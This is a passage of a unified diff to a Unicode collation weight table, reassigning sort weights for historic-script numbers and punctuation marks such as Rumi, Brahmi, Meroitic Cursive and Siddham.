-10E76 ; [*1A5F.0020.0002] # RUMI NUMBER FIVE HUNDRED
-10E77 ; [*1A60.0020.0002] # RUMI NUMBER SIX HUNDRED
-10E78 ; [*1A61.0020.0002] # RUMI NUMBER SEVEN HUNDRED
-10E79 ; [*1A62.0020.0002] # RUMI NUMBER EIGHT HUNDRED
-10E7A ; [*1A63.0020.0002] # RUMI NUMBER NINE HUNDRED
-10E7B ; [*1A64.0020.0002] # RUMI FRACTION ONE HALF
-10E7C ; [*1A65.0020.0002] # RUMI FRACTION ONE QUARTER
-10E7D ; [*1A66.0020.0002] # RUMI FRACTION ONE THIRD
-10E7E ; [*1A67.0020.0002] # RUMI FRACTION TWO THIRDS
-11047 ; [*02A9.0020.0002] # BRAHMI DANDA
-11048 ; [*02AA.0020.0002] # BRAHMI DOUBLE DANDA
-11049 ; [*041C.0020.0002] # BRAHMI PUNCTUATION DOT
-1104A ; [*041D.0020.0002] # BRAHMI PUNCTUATION DOUBLE DOT
-1104B ; [*041E.0020.0002] # BRAHMI PUNCTUATION LINE
-1104C ; [*041F.0020.0002] # BRAHMI PUNCTUATION CRESCENT BAR
-1104D ; [*0420.0020.0002] # BRAHMI PUNCTUATION LOTUS
-1105B ; [*1AF9.0020.0002] # BRAHMI NUMBER TEN
-1105C ; [*1AFA.0020.0002] # BRAHMI NUMBER TWENTY
-1105D ; [*1AFB.0020.0002] # BRAHMI NUMBER THIRTY
-1105E ; [*1AFC.0020.0002] # BRAHMI NUMBER FORTY
-1105F ; [*1AFD.0020.0002] # BRAHMI NUMBER FIFTY
-11060 ; [*1AFE.0020.0002] # BRAHMI NUMBER SIXTY
-11061 ; [*1AFF.0020.0002] # BRAHMI NUMBER SEVENTY
-11062 ; [*1B00.0020.0002] # BRAHMI NUMBER EIGHTY
-11063 ; [*1B01.0020.0002] # BRAHMI NUMBER NINETY
-11064 ; [*1B02.0020.0002] # BRAHMI NUMBER ONE HUNDRED
-11065 ; [*1B03.0020.0002] # BRAHMI NUMBER ONE THOUSAND
-110BB ; [*0434.0020.0002] # KAITHI ABBREVIATION SIGN
-110BC ; [*0435.0020.0002] # KAITHI ENUMERATION SIGN
+102EA ; [*1B3A.0020.0002] # COPTIC EPACT NUMBER TEN
+102EB ; [*1B3B.0020.0002] # COPTIC EPACT NUMBER TWENTY
+102EC ; [*1B3C.0020.0002] # COPTIC EPACT NUMBER THIRTY
+102ED ; [*1B3D.0020.0002] # COPTIC EPACT NUMBER FORTY
+102EE ; [*1B3E.0020.0002] # COPTIC EPACT NUMBER FIFTY
+102EF ; [*1B3F.0020.0002] # COPTIC EPACT NUMBER SIXTY
+102F0 ; [*1B40.0020.0002] # COPTIC EPACT NUMBER SEVENTY
+102F1 ; [*1B41.0020.0002] # COPTIC EPACT NUMBER EIGHTY
+102F2 ; [*1B42.0020.0002] # COPTIC EPACT NUMBER NINETY
+102F3 ; [*1B43.0020.0002] # COPTIC EPACT NUMBER ONE HUNDRED
+102F4 ; [*1B44.0020.0002] # COPTIC EPACT NUMBER TWO HUNDRED
+102F5 ; [*1B45.0020.0002] # COPTIC EPACT NUMBER THREE HUNDRED
+102F6 ; [*1B46.0020.0002] # COPTIC EPACT NUMBER FOUR HUNDRED
+102F7 ; [*1B47.0020.0002] # COPTIC EPACT NUMBER FIVE HUNDRED
+102F8 ; [*1B48.0020.0002] # COPTIC EPACT NUMBER SIX HUNDRED
+102F9 ; [*1B49.0020.0002] # COPTIC EPACT NUMBER SEVEN HUNDRED
+102FA ; [*1B4A.0020.0002] # COPTIC EPACT NUMBER EIGHT HUNDRED
+102FB ; [*1B4B.0020.0002] # COPTIC EPACT NUMBER NINE HUNDRED
+10322 ; [*1AE3.0020.0002] # OLD ITALIC NUMERAL TEN
+10323 ; [*1AE4.0020.0002] # OLD ITALIC NUMERAL FIFTY
+1039F ; [*02FD.0020.0002] # UGARITIC WORD DIVIDER
+103D0 ; [*02FE.0020.0002] # OLD PERSIAN WORD DIVIDER
+103D3 ; [*1B4C.0020.0002] # OLD PERSIAN NUMBER TEN
+103D4 ; [*1B4D.0020.0002] # OLD PERSIAN NUMBER TWENTY
+103D5 ; [*1B4E.0020.0002] # OLD PERSIAN NUMBER HUNDRED
+1056F ; [*0432.0020.0002] # CAUCASIAN ALBANIAN CITATION MARK
+10857 ; [*02D9.0020.0002] # IMPERIAL ARAMAIC SECTION SIGN
+1085B ; [*1B5E.0020.0002] # IMPERIAL ARAMAIC NUMBER TEN
+1085C ; [*1B5F.0020.0002] # IMPERIAL ARAMAIC NUMBER TWENTY
+1085D ; [*1B60.0020.0002] # IMPERIAL ARAMAIC NUMBER ONE HUNDRED
+1085E ; [*1B61.0020.0002] # IMPERIAL ARAMAIC NUMBER ONE THOUSAND
+1085F ; [*1B62.0020.0002] # IMPERIAL ARAMAIC NUMBER TEN THOUSAND
+10877 ; [*0FCF.0020.0002] # PALMYRENE LEFT-POINTING FLEURON
+10878 ; [*0FD0.0020.0002] # PALMYRENE RIGHT-POINTING FLEURON
+1087E ; [*1B4F.0020.0002] # PALMYRENE NUMBER TEN
+1087F ; [*1B50.0020.0002] # PALMYRENE NUMBER TWENTY
+108AD ; [*1B51.0020.0002] # NABATAEAN NUMBER TEN
+108AE ; [*1B52.0020.0002] # NABATAEAN NUMBER TWENTY
+108AF ; [*1B53.0020.0002] # NABATAEAN NUMBER ONE HUNDRED
+108FD ; [*1B54.0020.0002] # HATRAN NUMBER TEN
+108FE ; [*1B55.0020.0002] # HATRAN NUMBER TWENTY
+108FF ; [*1B56.0020.0002] # HATRAN NUMBER ONE HUNDRED
+10917 ; [*1B5B.0020.0002] # PHOENICIAN NUMBER TEN
+10918 ; [*1B5C.0020.0002] # PHOENICIAN NUMBER TWENTY
+10919 ; [*1B5D.0020.0002] # PHOENICIAN NUMBER ONE HUNDRED
+1091F ; [*02FF.0020.0002] # PHOENICIAN WORD SEPARATOR
+1093F ; [*02F9.0020.0002] # LYDIAN TRIANGULAR MARK
+109BC ; [*1BDD.0020.0002] # MEROITIC CURSIVE FRACTION ELEVEN TWELFTHS
+109BD ; [*1BD2.0020.0002] # MEROITIC CURSIVE FRACTION ONE HALF
+109C9 ; [*1BA7.0020.0002] # MEROITIC CURSIVE NUMBER TEN
+109CA ; [*1BA8.0020.0002] # MEROITIC CURSIVE NUMBER TWENTY
+109CB ; [*1BA9.0020.0002] # MEROITIC CURSIVE NUMBER THIRTY
+109CC ; [*1BAA.0020.0002] # MEROITIC CURSIVE NUMBER FORTY
+109CD ; [*1BAB.0020.0002] # MEROITIC CURSIVE NUMBER FIFTY
+109CE ; [*1BAC.0020.0002] # MEROITIC CURSIVE NUMBER SIXTY
+109CF ; [*1BAD.0020.0002] # MEROITIC CURSIVE NUMBER SEVENTY
+109D2 ; [*1BAE.0020.0002] # MEROITIC CURSIVE NUMBER ONE HUNDRED
+109D3 ; [*1BAF.0020.0002] # MEROITIC CURSIVE NUMBER TWO HUNDRED
+109D4 ; [*1BB0.0020.0002] # MEROITIC CURSIVE NUMBER THREE HUNDRED
+109D5 ; [*1BB1.0020.0002] # MEROITIC CURSIVE NUMBER FOUR HUNDRED
+109D6 ; [*1BB2.0020.0002] # MEROITIC CURSIVE NUMBER FIVE HUNDRED
+109D7 ; [*1BB3.0020.0002] # MEROITIC CURSIVE NUMBER SIX HUNDRED
+109D8 ; [*1BB4.0020.0002] # MEROITIC CURSIVE NUMBER SEVEN HUNDRED
+109D9 ; [*1BB5.0020.0002] # MEROITIC CURSIVE NUMBER EIGHT HUNDRED
+109DA ; [*1BB6.0020.0002] # MEROITIC CURSIVE NUMBER NINE HUNDRED
+109DB ; [*1BB7.0020.0002] # MEROITIC CURSIVE NUMBER ONE THOUSAND
+109DC ; [*1BB8.0020.0002] # MEROITIC CURSIVE NUMBER TWO THOUSAND
+109DD ; [*1BB9.0020.0002] # MEROITIC CURSIVE NUMBER THREE THOUSAND
+109DE ; [*1BBA.0020.0002] # MEROITIC CURSIVE NUMBER FOUR THOUSAND
+109DF ; [*1BBB.0020.0002] # MEROITIC CURSIVE NUMBER FIVE THOUSAND
+109E0 ; [*1BBC.0020.0002] # MEROITIC CURSIVE NUMBER SIX THOUSAND
+109E1 ; [*1BBD.0020.0002] # MEROITIC CURSIVE NUMBER SEVEN THOUSAND
+109E2 ; [*1BBE.0020.0002] # MEROITIC CURSIVE NUMBER EIGHT THOUSAND
+109E3 ; [*1BBF.0020.0002] # MEROITIC CURSIVE NUMBER NINE THOUSAND
+109E4 ; [*1BC0.0020.0002] # MEROITIC CURSIVE NUMBER TEN THOUSAND
+109E5 ; [*1BC1.0020.0002] # MEROITIC CURSIVE NUMBER TWENTY THOUSAND
+109E6 ; [*1BC2.0020.0002] # MEROITIC CURSIVE NUMBER THIRTY THOUSAND
+109E7 ; [*1BC3.0020.0002] # MEROITIC CURSIVE NUMBER FORTY THOUSAND
+109E8 ; [*1BC4.0020.0002] # MEROITIC CURSIVE NUMBER FIFTY THOUSAND
+109E9 ; [*1BC5.0020.0002] # MEROITIC CURSIVE NUMBER SIXTY THOUSAND
+109EA ; [*1BC6.0020.0002] # MEROITIC CURSIVE NUMBER SEVENTY THOUSAND
+109EB ; [*1BC7.0020.0002] # MEROITIC CURSIVE NUMBER EIGHTY THOUSAND
+109EC ; [*1BC8.0020.0002] # MEROITIC CURSIVE NUMBER NINETY THOUSAND
+109ED ; [*1BC9.0020.0002] # MEROITIC CURSIVE NUMBER ONE HUNDRED THOUSAND
+109EE ; [*1BCA.0020.0002] # MEROITIC CURSIVE NUMBER TWO HUNDRED THOUSAND
+109EF ; [*1BCB.0020.0002] # MEROITIC CURSIVE NUMBER THREE HUNDRED THOUSAND
+109F0 ; [*1BCC.0020.0002] # MEROITIC CURSIVE NUMBER FOUR HUNDRED THOUSAND
+109F1 ; [*1BCD.0020.0002] # MEROITIC CURSIVE NUMBER FIVE HUNDRED THOUSAND
+109F2 ; [*1BCE.0020.0002] # MEROITIC CURSIVE NUMBER SIX HUNDRED THOUSAND
+109F3 ; [*1BCF.0020.0002] # MEROITIC CURSIVE NUMBER SEVEN HUNDRED THOUSAND
+109F4 ; [*1BD0.0020.0002] # MEROITIC CURSIVE NUMBER EIGHT HUNDRED THOUSAND
+109F5 ; [*1BD1.0020.0002] # MEROITIC CURSIVE NUMBER NINE HUNDRED THOUSAND
+109F6 ; [*1BD3.0020.0002] # MEROITIC CURSIVE FRACTION ONE TWELFTH
+109F7 ; [*1BD4.0020.0002] # MEROITIC CURSIVE FRACTION TWO TWELFTHS
+109F8 ; [*1BD5.0020.0002] # MEROITIC CURSIVE FRACTION THREE TWELFTHS
+109F9 ; [*1BD6.0020.0002] # MEROITIC CURSIVE FRACTION FOUR TWELFTHS
+109FA ; [*1BD7.0020.0002] # MEROITIC CURSIVE FRACTION FIVE TWELFTHS
+109FB ; [*1BD8.0020.0002] # MEROITIC CURSIVE FRACTION SIX TWELFTHS
+109FC ; [*1BD9.0020.0002] # MEROITIC CURSIVE FRACTION SEVEN TWELFTHS
+109FD ; [*1BDA.0020.0002] # MEROITIC CURSIVE FRACTION EIGHT TWELFTHS
+109FE ; [*1BDB.0020.0002] # MEROITIC CURSIVE FRACTION NINE TWELFTHS
+109FF ; [*1BDC.0020.0002] # MEROITIC CURSIVE FRACTION TEN TWELFTHS
+10A44 ; [*1B7E.0020.0002] # KHAROSHTHI NUMBER TEN
+10A45 ; [*1B7F.0020.0002] # KHAROSHTHI NUMBER TWENTY
+10A46 ; [*1B80.0020.0002] # KHAROSHTHI NUMBER ONE HUNDRED
+10A47 ; [*1B81.0020.0002] # KHAROSHTHI NUMBER ONE THOUSAND
+10A50 ; [*0438.0020.0002] # KHAROSHTHI PUNCTUATION DOT
+10A51 ; [*0439.0020.0002] # KHAROSHTHI PUNCTUATION SMALL CIRCLE
+10A52 ; [*043A.0020.0002] # KHAROSHTHI PUNCTUATION CIRCLE
+10A53 ; [*043B.0020.0002] # KHAROSHTHI PUNCTUATION CRESCENT BAR
+10A54 ; [*043C.0020.0002] # KHAROSHTHI PUNCTUATION MANGALAM
+10A55 ; [*043D.0020.0002] # KHAROSHTHI PUNCTUATION LOTUS
+10A56 ; [*02AA.0020.0002] # KHAROSHTHI PUNCTUATION DANDA
+10A57 ; [*02AB.0020.0002] # KHAROSHTHI PUNCTUATION DOUBLE DANDA
+10A58 ; [*043E.0020.0002] # KHAROSHTHI PUNCTUATION LINES
+10A7E ; [*1B57.0020.0002] # OLD SOUTH ARABIAN NUMBER FIFTY
+10A7F ; [*1B58.0020.0002] # OLD SOUTH ARABIAN NUMERIC INDICATOR
+10A9E ; [*1B59.0020.0002] # OLD NORTH ARABIAN NUMBER TEN
+10A9F ; [*1B5A.0020.0002] # OLD NORTH ARABIAN NUMBER TWENTY
+10AED ; [*1B63.0020.0002] # MANICHAEAN NUMBER TEN
+10AEE ; [*1B64.0020.0002] # MANICHAEAN NUMBER TWENTY
+10AEF ; [*1B65.0020.0002] # MANICHAEAN NUMBER ONE HUNDRED
+10AF0 ; [*0443.0020.0002] # MANICHAEAN PUNCTUATION STAR
+10AF1 ; [*0444.0020.0002] # MANICHAEAN PUNCTUATION FLEURON
+10AF2 ; [*0445.0020.0002] # MANICHAEAN PUNCTUATION DOUBLE DOT WITHIN DOT
+10AF3 ; [*0446.0020.0002] # MANICHAEAN PUNCTUATION DOT WITHIN DOT
+10AF4 ; [*0447.0020.0002] # MANICHAEAN PUNCTUATION DOT
+10AF5 ; [*0448.0020.0002] # MANICHAEAN PUNCTUATION TWO DOTS
+10AF6 ; [*0449.0020.0002] # MANICHAEAN PUNCTUATION LINE FILLER
+10B39 ; [*0442.0020.0002] # AVESTAN ABBREVIATION MARK
+10B3A ; [*02DA.0020.0002] # TINY TWO DOTS OVER ONE DOT PUNCTUATION
+10B3B ; [*02DB.0020.0002] # SMALL TWO DOTS OVER ONE DOT PUNCTUATION
+10B3C ; [*02DC.0020.0002] # LARGE TWO DOTS OVER ONE DOT PUNCTUATION
+10B3D ; [*02DD.0020.0002] # LARGE ONE DOT OVER TWO DOTS PUNCTUATION
+10B3E ; [*02DE.0020.0002] # LARGE TWO RINGS OVER ONE RING PUNCTUATION
+10B3F ; [*02DF.0020.0002] # LARGE ONE RING OVER TWO RINGS PUNCTUATION
+10B5C ; [*1B66.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER TEN
+10B5D ; [*1B67.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER TWENTY
+10B5E ; [*1B68.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER ONE HUNDRED
+10B5F ; [*1B69.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER ONE THOUSAND
+10B7C ; [*1B6A.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER TEN
+10B7D ; [*1B6B.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER TWENTY
+10B7E ; [*1B6C.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER ONE HUNDRED
+10B7F ; [*1B6D.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER ONE THOUSAND
+10B99 ; [*044A.0020.0002] # PSALTER PAHLAVI SECTION MARK
+10B9A ; [*044B.0020.0002] # PSALTER PAHLAVI TURNED SECTION MARK
+10B9B ; [*044C.0020.0002] # PSALTER PAHLAVI FOUR DOTS WITH CROSS
+10B9C ; [*044D.0020.0002] # PSALTER PAHLAVI FOUR DOTS WITH DOT
+10BAD ; [*1B6E.0020.0002] # PSALTER PAHLAVI NUMBER TEN
+10BAE ; [*1B6F.0020.0002] # PSALTER PAHLAVI NUMBER TWENTY
+10BAF ; [*1B70.0020.0002] # PSALTER PAHLAVI NUMBER ONE HUNDRED
+10CFC ; [*1AE5.0020.0002] # OLD HUNGARIAN NUMBER TEN
+10CFD ; [*1AE6.0020.0002] # OLD HUNGARIAN NUMBER FIFTY
+10CFE ; [*1AE7.0020.0002] # OLD HUNGARIAN NUMBER ONE HUNDRED
+10CFF ; [*1AE8.0020.0002] # OLD HUNGARIAN NUMBER ONE THOUSAND
+10E69 ; [*1ACC.0020.0002] # RUMI NUMBER TEN
+10E6A ; [*1ACD.0020.0002] # RUMI NUMBER TWENTY
+10E6B ; [*1ACE.0020.0002] # RUMI NUMBER THIRTY
+10E6C ; [*1ACF.0020.0002] # RUMI NUMBER FORTY
+10E6D ; [*1AD0.0020.0002] # RUMI NUMBER FIFTY
+10E6E ; [*1AD1.0020.0002] # RUMI NUMBER SIXTY
+10E6F ; [*1AD2.0020.0002] # RUMI NUMBER SEVENTY
+10E70 ; [*1AD3.0020.0002] # RUMI NUMBER EIGHTY
+10E71 ; [*1AD4.0020.0002] # RUMI NUMBER NINETY
+10E72 ; [*1AD5.0020.0002] # RUMI NUMBER ONE HUNDRED
+10E73 ; [*1AD6.0020.0002] # RUMI NUMBER TWO HUNDRED
+10E74 ; [*1AD7.0020.0002] # RUMI NUMBER THREE HUNDRED
+10E75 ; [*1AD8.0020.0002] # RUMI NUMBER FOUR HUNDRED
+10E76 ; [*1AD9.0020.0002] # RUMI NUMBER FIVE HUNDRED
+10E77 ; [*1ADA.0020.0002] # RUMI NUMBER SIX HUNDRED
+10E78 ; [*1ADB.0020.0002] # RUMI NUMBER SEVEN HUNDRED
+10E79 ; [*1ADC.0020.0002] # RUMI NUMBER EIGHT HUNDRED
+10E7A ; [*1ADD.0020.0002] # RUMI NUMBER NINE HUNDRED
+10E7B ; [*1ADE.0020.0002] # RUMI FRACTION ONE HALF
+10E7C ; [*1ADF.0020.0002] # RUMI FRACTION ONE QUARTER
+10E7D ; [*1AE0.0020.0002] # RUMI FRACTION ONE THIRD
+10E7E ; [*1AE1.0020.0002] # RUMI FRACTION TWO THIRDS
+11047 ; [*02AC.0020.0002] # BRAHMI DANDA
+11048 ; [*02AD.0020.0002] # BRAHMI DOUBLE DANDA
+11049 ; [*0433.0020.0002] # BRAHMI PUNCTUATION DOT
+1104A ; [*0434.0020.0002] # BRAHMI PUNCTUATION DOUBLE DOT
+1104B ; [*0435.0020.0002] # BRAHMI PUNCTUATION LINE
+1104C ; [*0436.0020.0002] # BRAHMI PUNCTUATION CRESCENT BAR
+1104D ; [*0437.0020.0002] # BRAHMI PUNCTUATION LOTUS
+1105B ; [*1B73.0020.0002] # BRAHMI NUMBER TEN
+1105C ; [*1B74.0020.0002] # BRAHMI NUMBER TWENTY
+1105D ; [*1B75.0020.0002] # BRAHMI NUMBER THIRTY
+1105E ; [*1B76.0020.0002] # BRAHMI NUMBER FORTY
+1105F ; [*1B77.0020.0002] # BRAHMI NUMBER FIFTY
+11060 ; [*1B78.0020.0002] # BRAHMI NUMBER SIXTY
+11061 ; [*1B79.0020.0002] # BRAHMI NUMBER SEVENTY
+11062 ; [*1B7A.0020.0002] # BRAHMI NUMBER EIGHTY
+11063 ; [*1B7B.0020.0002] # BRAHMI NUMBER NINETY
+11064 ; [*1B7C.0020.0002] # BRAHMI NUMBER ONE HUNDRED
+11065 ; [*1B7D.0020.0002] # BRAHMI NUMBER ONE THOUSAND
+110BB ; [*044E.0020.0002] # KAITHI ABBREVIATION SIGN
+110BC ; [*044F.0020.0002] # KAITHI ENUMERATION SIGN
 110BD ; [.0000.0000.0000] # KAITHI NUMBER SIGN
-110BE ; [*02D9.0020.0002] # KAITHI SECTION MARK
-110BF ; [*02DA.0020.0002] # KAITHI DOUBLE SECTION MARK
-110C0 ; [*02AB.0020.0002] # KAITHI DANDA
-110C1 ; [*02AC.0020.0002] # KAITHI DOUBLE DANDA
-11140 ; [*02DB.0020.0002] # CHAKMA SECTION MARK
-11141 ; [*02AD.0020.0002] # CHAKMA DANDA
-11142 ; [*02AE.0020.0002] # CHAKMA DOUBLE DANDA
-11143 ; [*0271.0020.0002] # CHAKMA QUESTION MARK
-11174 ; [*0436.0020.0002] # MAHAJANI ABBREVIATION SIGN
-11175 ; [*0437.0020.0002] # MAHAJANI SECTION MARK
-111C5 ; [*02AF.0020.0002] # SHARADA DANDA
-111C6 ; [*02B0.0020.0002] # SHARADA DOUBLE DANDA
-111C7 ; [*0439.0020.0002] # SHARADA ABBREVIATION SIGN
-111C8 ; [*02DC.0020.0002] # SHARADA SEPARATOR
-111C9 ; [*043A.0020.0002] # SHARADA SANDHI MARK
-111CD ; [*0438.0020.0002] # SHARADA SUTRA MARK
-111DB ; [*043B.0020.0002] # SHARADA SIGN SIDDHAM
-111DD ; [*043C.0020.0002] # SHARADA CONTINUATION SIGN
-111DE ; [*02DD.0020.0002] # SHARADA SECTION MARK-1
-111DF ; [*02DE.0020.0002] # SHARADA SECTION MARK-2
-111EA ; [*1B08.0020.0002] # SINHALA ARCHAIC NUMBER TEN
-111EB ; [*1B09.0020.0002] # SINHALA ARCHAIC NUMBER TWENTY
-111EC ; [*1B0A.0020.0002] # SINHALA ARCHAIC NUMBER THIRTY
-111ED ; [*1B0B.0020.0002] # SINHALA ARCHAIC NUMBER FORTY
-111EE ; [*1B0C.0020.0002] # SINHALA ARCHAIC NUMBER FIFTY
-111EF ; [*1B0D.0020.0002] # SINHALA ARCHAIC NUMBER SIXTY
-111F0 ; [*1B0E.0020.0002] # SINHALA ARCHAIC NUMBER SEVENTY
-111F1 ; [*1B0F.0020.0002] # SINHALA ARCHAIC NUMBER EIGHTY
-111F2 ; [*1B10.0020.0002] # SINHALA ARCHAIC NUMBER NINETY
-111F3 ; [*1B11.0020.0002] # SINHALA ARCHAIC NUMBER ONE HUNDRED
-111F4 ; [*1B12.0020.0002] # SINHALA ARCHAIC NUMBER ONE THOUSAND
-11238 ; [*02B1.0020.0002] # KHOJKI DANDA
-11239 ; [*02B2.0020.0002] # KHOJKI DOUBLE DANDA
-1123A ; [*043D.0020.0002] # KHOJKI WORD SEPARATOR
-1123B ; [*043E.0020.0002] # KHOJKI SECTION MARK
-1123C ; [*043F.0020.0002] # KHOJKI DOUBLE SECTION MARK
-1123D ; [*0440.0020.0002] # KHOJKI ABBREVIATION SIGN
-112A9 ; [*02DF.0020.0002] # MULTANI SECTION MARK
+110BE ; [*02E0.0020.0002] # KAITHI SECTION MARK
+110BF ; [*02E1.0020.0002] # KAITHI DOUBLE SECTION MARK
+110C0 ; [*02AE.0020.0002] # KAITHI DANDA
+110C1 ; [*02AF.0020.0002] # KAITHI DOUBLE DANDA
+11140 ; [*02E2.0020.0002] # CHAKMA SECTION MARK
+11141 ; [*02B0.0020.0002] # CHAKMA DANDA
+11142 ; [*02B1.0020.0002] # CHAKMA DOUBLE DANDA
+11143 ; [*0273.0020.0002] # CHAKMA QUESTION MARK
+11174 ; [*0450.0020.0002] # MAHAJANI ABBREVIATION SIGN
+11175 ; [*0451.0020.0002] # MAHAJANI SECTION MARK
+111C5 ; [*02B2.0020.0002] # SHARADA DANDA
+111C6 ; [*02B3.0020.0002] # SHARADA DOUBLE DANDA
+111C7 ; [*0453.0020.0002] # SHARADA ABBREVIATION SIGN
+111C8 ; [*02E3.0020.0002] # SHARADA SEPARATOR
+111C9 ; [*0454.0020.0002] # SHARADA SANDHI MARK
+111CD ; [*0452.0020.0002] # SHARADA SUTRA MARK
+111DB ; [*0455.0020.0002] # SHARADA SIGN SIDDHAM
+111DD ; [*0456.0020.0002] # SHARADA CONTINUATION SIGN
+111DE ; [*02E4.0020.0002] # SHARADA SECTION MARK-1
+111DF ; [*02E5.0020.0002] # SHARADA SECTION MARK-2
+111EA ; [*1B8C.0020.0002] # SINHALA ARCHAIC NUMBER TEN
+111EB ; [*1B8D.0020.0002] # SINHALA ARCHAIC NUMBER TWENTY
+111EC ; [*1B8E.0020.0002] # SINHALA ARCHAIC NUMBER THIRTY
+111ED ; [*1B8F.0020.0002] # SINHALA ARCHAIC NUMBER FORTY
+111EE ; [*1B90.0020.0002] # SINHALA ARCHAIC NUMBER FIFTY
+111EF ; [*1B91.0020.0002] # SINHALA ARCHAIC NUMBER SIXTY
+111F0 ; [*1B92.0020.0002] # SINHALA ARCHAIC NUMBER SEVENTY
+111F1 ; [*1B93.0020.0002] # SINHALA ARCHAIC NUMBER EIGHTY
+111F2 ; [*1B94.0020.0002] # SINHALA ARCHAIC NUMBER NINETY
+111F3 ; [*1B95.0020.0002] # SINHALA ARCHAIC NUMBER ONE HUNDRED
+111F4 ; [*1B96.0020.0002] # SINHALA ARCHAIC NUMBER ONE THOUSAND
+11238 ; [*02B4.0020.0002] # KHOJKI DANDA
+11239 ; [*02B5.0020.0002] # KHOJKI DOUBLE DANDA
+1123A ; [*0457.0020.0002] # KHOJKI WORD SEPARATOR
+1123B ; [*0458.0020.0002] # KHOJKI SECTION MARK
+1123C ; [*0459.0020.0002] # KHOJKI DOUBLE SECTION MARK
+1123D ; [*045A.0020.0002] # KHOJKI ABBREVIATION SIGN
+112A9 ; [*02E6.0020.0002] # MULTANI SECTION MARK
 11366 ; [.0000.0000.0000] # COMBINING GRANTHA DIGIT ZERO
 11367 ; [.0000.0000.0000] # COMBINING GRANTHA DIGIT ONE
 11368 ; [.0000.0000.0000] # COMBINING GRANTHA DIGIT TWO
@@ -4582,446 +4617,483 @@
 11372 ; [.0000.0000.0000] # COMBINING GRANTHA LETTER NA
 11373 ; [.0000.0000.0000] # COMBINING GRANTHA LETTER VI
 11374 ; [.0000.0000.0000] # COMBINING GRANTHA LETTER PA
-114C6 ; [*0441.0020.0002] # TIRHUTA ABBREVIATION SIGN
-115C1 ; [*0442.0020.0002] # SIDDHAM SIGN SIDDHAM
-115C2 ; [*02B3.0020.0002] # SIDDHAM DANDA
-115C3 ; [*02B4.0020.0002] # SIDDHAM DOUBLE DANDA
-115C4 ; [*0443.0020.0002] # SIDDHAM SEPARATOR DOT
-115C5 ; [*0444.0020.0002] # SIDDHAM SEPARATOR BAR
-115C6 ; [*0445.0020.0002] # SIDDHAM REPETITION MARK-1
-115C7 ; [*0446.0020.0002] # SIDDHAM REPETITION MARK-2
-115C8 ; [*0447.0020.0002] # SIDDHAM REPETITION MARK-3
-115C9 ; [*0448.0020.0002] # SIDDHAM END OF TEXT MARK
-115CA ; [*0449.0020.0002] # SIDDHAM SECTION MARK WITH TRIDENT AND U-SHAPED ORNAMENTS
-115CB ; [*044A.0020.0002] # SIDDHAM SECTION MARK WITH TRIDENT AND DOTTED CRESCENTS
-115CC ; [*044B.0020.0002] # SIDDHAM SECTION MARK WITH RAYS AND DOTTED CRESCENTS
-115CD ; [*044C.0020.0002] # SIDDHAM SECTION MARK WITH RAYS AND DOTTED DOUBLE CRESCENTS
-115CE ; [*044D.0020.0002] # SIDDHAM SECTION MARK WITH RAYS AND DOTTED TRIPLE CRESCENTS
-115CF ; [*044E.0020.0002] # SIDDHAM SECTION MARK DOUBLE RING
-115D0 ; [*044F.0020.0002] # SIDDHAM SECTION MARK DOUBLE RING WITH RAYS
-115D1 ; [*0450.0020.0002] # SIDDHAM SECTION MARK WITH DOUBLE CRESCENTS
-115D2 ; [*0451.0020.0002] # SIDDHAM SECTION MARK WITH TRIPLE CRESCENTS
-115D3 ; [*0452.0020.0002] # SIDDHAM SECTION MARK WITH QUADRUPLE CRESCENTS
-115D4 ; [*0453.0020.0002] # SIDDHAM SECTION MARK WITH SEPTUPLE CRESCENTS
-115D5 ; [*0454.0020.0002] # SIDDHAM SECTION MARK WITH CIRCLES AND RAYS
-115D6 ; [*0455.0020.0002] # SIDDHAM SECTION MARK WITH CIRCLES AND TWO ENCLOSURES
-115D7 ; [*0456.0020.0002] # SIDDHAM SECTION MARK WITH CIRCLES AND FOUR ENCLOSURES
-11641 ; [*02B5.0020.0002] # MODI DANDA
-11642 ; [*02B6.0020.0002] # MODI DOUBLE DANDA
-11643 ; [*0457.0020.0002] # MODI ABBREVIATION SIGN
-1173A ; [*1AF7.0020.0002] # AHOM NUMBER TEN
-1173B ; [*1AF8.0020.0002] # AHOM NUMBER TWENTY
-1173C ; [*02B7.0020.0002] # AHOM SIGN SMALL SECTION
-1173D ; [*02B8.0020.0002] # AHOM SIGN SECTION
-1173E ; [*02E0.0020.0002] # AHOM SIGN RULAI
-1173F ; [*0530.0020.0002] # AHOM SYMBOL VI
-118EA ; [*1B13.0020.0002] # WARANG CITI NUMBER TEN
-118EB ; [*1B14.0020.0002] # WARANG CITI NUMBER TWENTY
-118EC ; [*1B15.0020.0002] # WARANG CITI NUMBER THIRTY
-118ED ; [*1B16.0020.0002] # WARANG CITI NUMBER FORTY
-118EE ; [*1B17.0020.0002] # WARANG CITI NUMBER FIFTY
-118EF ; [*1B18.0020.0002] # WARANG CITI NUMBER SIXTY
-118F0 ; [*1B19.0020.0002] # WARANG CITI NUMBER SEVENTY
-118F1 ; [*1B1A.0020.0002] # WARANG CITI NUMBER EIGHTY
-118F2 ; [*1B1B.0020.0002] # WARANG CITI NUMBER NINETY
-12432 ; [*1B5A.0020.0002] # CUNEIFORM NUMERIC SIGN SHAR2 TIMES GAL PLUS DISH
-12433 ; [*1B5B.0020.0002] # CUNEIFORM NUMERIC SIGN SHAR2 TIMES GAL PLUS MIN
-1245A ; [*1B5C.0020.0002] # CUNEIFORM NUMERIC SIGN ONE THIRD DISH
-1245B ; [*1B5D.0020.0002] # CUNEIFORM NUMERIC SIGN TWO THIRDS DISH
-1245C ; [*1B5E.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE SIXTHS DISH
-1245D ; [*1B5F.0020.0002] # CUNEIFORM NUMERIC SIGN ONE THIRD VARIANT FORM A
-1245E ; [*1B60.0020.0002] # CUNEIFORM NUMERIC SIGN TWO THIRDS VARIANT FORM A
-1245F ; [*1B61.0020.0002] # CUNEIFORM NUMERIC SIGN ONE EIGHTH ASH
-12460 ; [*1B62.0020.0002] # CUNEIFORM NUMERIC SIGN ONE QUARTER ASH
